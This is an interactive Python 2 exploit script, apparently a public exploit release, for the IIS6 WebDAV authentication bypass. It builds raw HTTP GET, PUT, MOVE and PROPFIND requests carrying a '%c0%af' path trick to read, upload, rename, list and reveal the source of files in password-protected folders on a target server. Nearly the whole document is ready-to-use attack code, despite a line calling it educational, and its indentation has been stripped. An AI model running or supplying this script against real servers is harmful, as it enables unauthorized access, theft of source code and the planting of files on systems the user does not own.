#############################################

#!/usr/bin/python
# IIS6 WebDEV Authentication bypass exploit
#
# Done by Str0ss
# mail.str0ss[At]gmail[d0t]com
#
# Usage python <filename.py>
# Follow the instructions
# This exploit is made for educational purpose
#
# For this exploit to work
# 1. WebDEV should be enabled
# 2.For File upload / Dir browsing / show source
# currosponding previlage should be enabled.
# Exploit will perform only auth'n bypass.
#
# Thanks to kcope

import socket

def get():
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((t_IP,t_port))
fn = raw_input("Enter the file name to fetch:")
req = "GET /%c0%af" + vul_fold +"/" + fn + " HTTP/1.0\r\n"
req += "Translate: F\r\n"
req += "Host: " + t_IP + "\r\n"
req += "Connection: close\r\n"
req += "\r\n\r\n"
sock.send(req)
data = sock.recv(1024)
string = ""
while len(data):
string = string + data
data = sock.recv(1024)
sock.close()
print "\n_____SERVER RESPONSE_____\n" + string
print "\n\n USE DISPLAY SOURCE IF GET IS NOT WORKING."

#put
def put():
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((t_IP,t_port))
file_name = raw_input("Enter the filename to upload [should be in the working dir]:")
FILE = open(file_name)
text = FILE.read()
print "File content:\n" + text
FILE.close()
file_length = len(text)
req = "PUT /%c0%af/" + vul_fold + "/" + file_name +" HTTP/1.0\r\n"
req += "Connection: close\r\n"
req += "Host: " + t_IP + "\r\n"
req += "Content-Type: text/xml; charset='utf-8'\r\n"
req += "Content-Length: " + str(file_length) +"\r\n\r\n"
req += text + "\r\n"
sock.send(req)
data = sock.recv(1024)
string = ""
while len(data):
string = string + data
data = sock.recv(1024)
sock.close()
print "\n_____SERVER RESPONSE_____\n" + string

#move
def move():
source = raw_input("Enter the source file [old.htm]:")
target = raw_input("Enter the target file [new.htm]:")
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((t_IP,t_port))
req = "MOVE /vul%c0%af/" + source +" HTTP/1.0\r\n"
req += "Destination: %c0%af/vul/" + target + "\n\n"
sock.send(req)
data = sock.recv(1024)
string = ""
while len(data):
string = string + data
data = sock.recv(1024)
sock.close()
print "\n_____SERVER RESPONSE_____\n" + string

#list
def list():
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((t_IP,t_port))
req = "PROPFIND /%c0%af" + vul_fold + " HTTP/1.0\r\n"
req += "Connection: close\r\n"
req += "Host: " + t_IP + "\r\n"
req += "Content-Length: 0\r\n\r\n"
sock.send(req)
data = sock.recv(1024)
string = ""
while len(data):
string = string + data
data = sock.recv(1024)
sock.close()
print "\n_____SERVER RESPONSE_____\n" + string

#disp source
def disp():
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((t_IP,t_port))
fn = raw_input("Enter the file name:")
req = "GET /" + vul_fold +"%c0%af/" + fn + " HTTP/1.0\r\n"
req += "Translate: f\r\n"
req += "Connection: close\r\n"
req += "Host: " + t_IP + "\r\n"
req += "\r\n\r\n"
sock.send(req)
data = sock.recv(1024)
string = ""
while len(data):
string = string + data
data = sock.recv(1024)
sock.close()
print "\n_____SERVER RESPONSE_____\n" + string

#main program
t_IP = raw_input("Enter the Terget web server[IIS] IP address:")
t_port = 80 #change the port is the web server is running on different port

vul_fold = raw_input("Enter the vulnerable [password protected] folder name:")
print "Target is :" + t_IP + "/" + vul_fold
exi = 0
while(exi == 0):
print "\n[1] GET a file from vulnerable folder."
print "\n[2] PUT a file into the vulnerable folder."
print "\n[3] MOVE a file [Rename]"
print "\n[4] LIST files in a directory"
print "\n[5] Display the source code [Same as GET]"
print "\n[q] Exit"
inp = raw_input("enter your choice:")
if inp == '1':
get()
if inp == '2':
put()
if inp == '3':
move()
if inp == '4':
list()
if inp == '5':
disp()
if inp == 'q':
exi = 1

print "\nThanks for using this exploit."
print "\n For any suggession / quries mailto: mail.str0ss[aT]gmail[d0t]com"